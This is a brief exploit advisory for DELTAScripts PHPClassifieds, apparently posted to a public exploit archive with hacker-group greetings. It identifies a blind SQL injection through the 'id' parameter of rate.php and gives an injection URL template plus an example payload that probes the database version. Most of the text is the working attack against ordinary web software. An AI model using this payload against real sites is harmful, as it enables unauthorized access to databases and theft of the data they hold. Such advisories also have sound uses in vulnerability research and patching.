DELTAScripts PHPClassifieds - 'rate.php' Blind SQL Injection

/*

Name : DELTAScripts PHPClassifieds
Vuln : Blind SQL Injection

Author : Hamza 'MizoZ' N.
Email : mizozx[at]gmail[dot]com
WebSite : www.greymen.org<http://www.greymen.org>

Greetz : Zuka, all friends & arab hackers

*/

Vulnerability is in the rate.php , $_GET['id']

[HOST]/[PATH]/rate.php?id=[true value]+[INJECTION]

exemples :
http://server/rate.php?id=405+and+%28select%20version%28%29%29=5--